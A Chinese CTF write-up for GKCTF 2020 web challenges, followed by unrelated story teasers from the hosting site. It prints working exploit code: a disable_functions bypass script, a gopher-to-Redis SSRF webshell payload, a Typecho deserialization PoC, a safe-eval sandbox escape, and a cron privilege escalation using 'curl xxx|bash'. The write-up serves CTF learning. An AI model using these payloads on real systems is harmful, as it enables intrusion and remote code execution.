GKCTF2020wp

这周末打了两个比赛。BJDCTF3rd与GKCTF.这里个人认为GKCTF的题目收获挺多的,但是时间太紧,自己也在简单题上浪费了不少时间。所以把比赛时没来的及看或者没做出来的题都补全。

check_in

题目给出了源码。基本机理就是从$_REQUEST里获取Ginkgo变量然后eval执行。
phpinfo()的话会发现存在disable_function,列目录会发现根目录有readflag.
但是不要紧。我们有bypass脚本用,下面就是之前做buu上一道l33t-hoster的脚本拿来改的

import requests
import base64


url='http://5e0893e9-0a1c-4836-8865-2771c87a52e4.node3.buuoj.cn/'


def command(payload):
    return {"Ginkgo":base64.b64encode(payload.encode('utf-8')).decode('utf-8')}

payload="move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/exploit.php');echo 'ok';var_dump(scandir('/tmp'));"
files = [('file',('exploit.php',open("exploit.php","rb"),'application/octet-stream'))]
r = requests.post(url=url,data=command(payload),files=files)
r=requests.post(url=url,data=command('include("/tmp/exploit.php");'))
print(r.text)

脚本要传到/tmp下,否则其他目录应该是不可写的。然后包含即可。

老八小超市儿

这题说实话挺简单的。就是手慢了几步。
首先后台getshell不讲了,主要是按照网上能搜到的
ShopXO全版本getshell流程走:先默认密码登录后台,下载主题并加上webshellbyc.php,再重新上传zip文件,访问/public/static/index/default/byc.php即可.

拿到www-data的shell后发现需要提权。然后根目录flag.hint里给了个日期.不过我并没有怎么在意这个日期,而是按照自己htb渗透的习惯来.

首先理论上应该来个扫描脚本的。不过这里很明显就能在根目录ls -la时发现auto.sh是root用户运行一个python脚本,每一分钟执行一次。找到python脚本后发现有写的权限。

那就很简单了,直接写入命令import os;os.system('curl xxx|bash')
(这里之前为了弹www-data的shell提前准备好了反弹脚本)然后等待监听的端口返回rootshell即可。flag在root目录下

EZ三剑客-EzWeb

这题二血。算是比较有意思的题目。

首先会发现首页功能似乎是个ssrf。然后还给出了?secret参数看ip地址.
不过其实这里并不需要给ip的,因为可以直接读/etc/hosts

当然,想要常规的file协议读肯定是不行的.但是它过滤的不严,可以用类似xxe里利用file协议列目录的方式来读
file:/var/www/html/index.php
得到源码

<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['submit'])){
        $url = $_GET['url'];
        //echo $url."\n";
        if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
        {
            //var_dump($match);
            die('别这样');
        }
        curl($url);
}
if(isset($_GET['secret'])){
    system('ifconfig');
}
?>

不过flag并不在本机173.92.140.10。实际上这种方式想读根目录也并不可行。但基于这里是个curl的ssrf。那么就大有可为。
不过这一步浪费了不少时间,后面才反应过来可以顺着探内网。
尝试直接顺着ip探内网存活主机,发现173.92.140.13,提示其他端口,猜测是redis或者mysql之类的。
于是探6379端口得到redis的报错命令。那么基本可以确认是gopher协议利用ssrf打redis未授权getshell了。
可以看这篇文章Redis和SSRF

命令的构建主要是编码问题。把命令进行正确编码就能打了

gopher://173.92.140.13:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

这样就在140.13那写入webshell。然后直接173.92.140.13/shell.php?cmd=cat%20/flag即可

EZ三剑客-EzTypecho

这题真的可惜。比赛时因为其他题目没来得及看。结果发现基本就是原本的链子加上一个bypass就行了。

先来过下源码。关于typeecho的洞出在install.php算是比较熟知的了。所以网上基本两个版本的POP链。如果有install.php就可以按第一个的思路走。
首先这里的源码表明必须getfinish参数以及带上Referer才不会退出。

接下来是反序列化点


这里实际上只加上了一个session的判断。如果以前有现成的pocbypass了这个判断就能直接打了。这里自己先按照链子跟一下。

上面我们的序列化数据被送进实例化了一个Typeecho_Db类里。跟进下
发现构造方法调用了call_user_func()

然后call_user_func的参数$adapterName有一个字符串拼接。那说明可以触发__toString.我们全局找下__toString
找到var\Typecho\Feed.php
其魔术方法中有这样一段

这里item是遍历items得来的。而items可控。并且由于箭头所指位置调用了screenname属性。因此可能可以触发__get方法
全局搜找到var\Typecho\Request.php

public function __get($key)
{
    return $this->get($key);
}

而get是


我们上面要触发__get,是因为调用了screneName属性。那么触发get的话就是对应了$key。可以看到最后被送进_applyFilter的参数值来自params[$key]仍然是可控的
最后就是跟进函数了。发现调用call_user_func可以命令执行。参数可控。所以链子到此结束。

poc

<?php
class Typecho_Request
{
    private $_params = array('screenName'=>'cat /flag');
    private $_filter = array('system');
}
class Typecho_Feed
{
    private $_type = 'RSS 2.0';
    private $_items;
    public function __construct()
    {
        $this->_items=array(array("author"=>new Typecho_Request()));

    }
}
$config=array("adapter"=>new Typecho_Feed(),"prefix"=>'byc');
echo base64_encode(serialize($config));
?>

最后再回到开始提到的问题。想要触发反序列化必须要有个session.不过其实也有好几道题设及到了这个知识点。我们利用php的特性。带上php_session_upload_progress上传文件。并且cookie带上PHPSESSID。就会发现不会触发它提示no, you can't unserialize it without session QAQ
结果

当然这题不按这个思路来也是可以的。因为get传参start处也有一个反序列化。直接打也没问题。总之这题花的时间是最短的,比赛时没做真的可惜。

EZ三剑客-EzNode

这题跟之前做npuctf时的一道node差不多。不过这里直接用的safe-eval库。显然是有poc可逃逸的。但是在这之前肯定有waf要绕。

app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

这里settimout会发现导致我们的payload都无法执行。因此需要绕过,让delay小于1000才能进到safeeval的路由里。
https://stackoverflow.com/questions/3468607/why-does-settimeout-break-for-large-millisecond-delay-values
这里存在一个issue。就是我们传入的delay如果大小超过32位,会被settimeout设为1.这样就满足条件了。
后面搜到的safe-eval的poc直接打

const theFunction = function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){

    }
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

改成IIFE形式直接打。

(function(){xxxxx})()

CVE版签到

这题我是真的没理解出题人的意思。后面提醒了CVE后还是没理解出题人的意思......结果大部分时间都花在这题上了。

进去后似乎是一个ssrf。然后只有.ctfhub.com才会触发动作的样子。因此判断应该是有个正则了。然后发现header里提示flag在localhost,并且Host要以123结尾。

这里我虽然大概明白后端运行流程,但是还是搞错了出题人的意图。太难受了。运用到的CVE其实就是getheader的CVE。之前BJD刚刚考过。这个函数特点就是会去请求并返回header.但是CVE告诉我们,如果是用%00截断,就可能让命令去请求用户的可控网址。

在了解到这个CVE后,我以为是要返回头里的Host为123结束。结果最后才知道原来是要请求127.0.0.123。。。不知道说啥,只能说自己把提示搞成要绕的waf了。
payload
url=http://127.0.0.123%00.ctfhub.com

小结

这次比赛虽然后面基本就没花时间了,但是收获挺大的.至少发现自己临场变通的能力还是很差就跟平时学业一样...不过还是得稳扎稳打吧。最后还剩一场RCTF这个学期就要暂时跟CTF说再见了。争取能再发挥的稳一点。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,835评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,598评论 1 295
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,569评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,159评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,533评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,710评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,923评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,674评论 0 203
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,421评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,622评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,115评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,428评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,114评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,097评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,875评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,753评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,649评论 2 271